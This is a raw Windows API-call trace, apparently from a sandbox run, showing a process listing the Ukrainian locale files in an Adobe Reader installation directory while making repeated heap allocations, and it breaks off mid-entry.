[0082.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129cb98 [0082.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.755] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.UKR", cAlternateFileName="")) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12143a0 [0082.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129cca0 [0082.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.756] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.UKR", cAlternateFileName="")) returned 1 [0082.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12143c0 [0082.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129cda8 [0082.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7200) returned 0x12c2278 [0082.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0082.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.758] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.UKR", cAlternateFileName="")) returned 1 [0082.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12143e0 [0082.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129ceb0 [0082.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.760] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.UKR", cAlternateFileName="")) returned 1 [0082.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214400 [0082.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129cfb8 [0082.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.761] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.UKR", cAlternateFileName="")) returned 1 [0082.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214420 [0082.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d0c0 [0082.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.763] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.UKR", cAlternateFileName="")) returned 1 [0082.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214440 [0082.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d1c8 [0082.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.765] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.UKR", cAlternateFileName="")) returned 1 [0082.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214460 [0082.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d2d0 [0082.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.766] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.UKR", cAlternateFileName="")) returned 1 [0082.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214480 [0082.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d3d8 [0082.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.768] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.UKR", cAlternateFileName="")) returned 1 [0082.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12144a0 [0082.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d4e0 [0082.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.769] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.UKR", cAlternateFileName="")) returned 1 [0082.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12144c0 [0082.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d5e8 [0082.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.771] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.UKR", cAlternateFileName="")) returned 1 [0082.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12144e0 [0082.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d6f0 [0082.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.772] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.773] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.UKR", cAlternateFileName="")) returned 1 [0082.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214500 [0082.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d7f8 [0082.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.774] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.UKR", cAlternateFileName="")) returned 1 [0082.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214520 [0082.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129d900 [0082.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.776] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.UKR", cAlternateFileName="")) returned 1 [0082.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214540 [0082.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129da08 [0082.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.UKR", cAlternateFileName="")) returned 0 [0082.777] GetLastError () returned 0x12 [0082.777] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.777] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.777] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820a1b60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.UKR", cAlternateFileName="")) returned 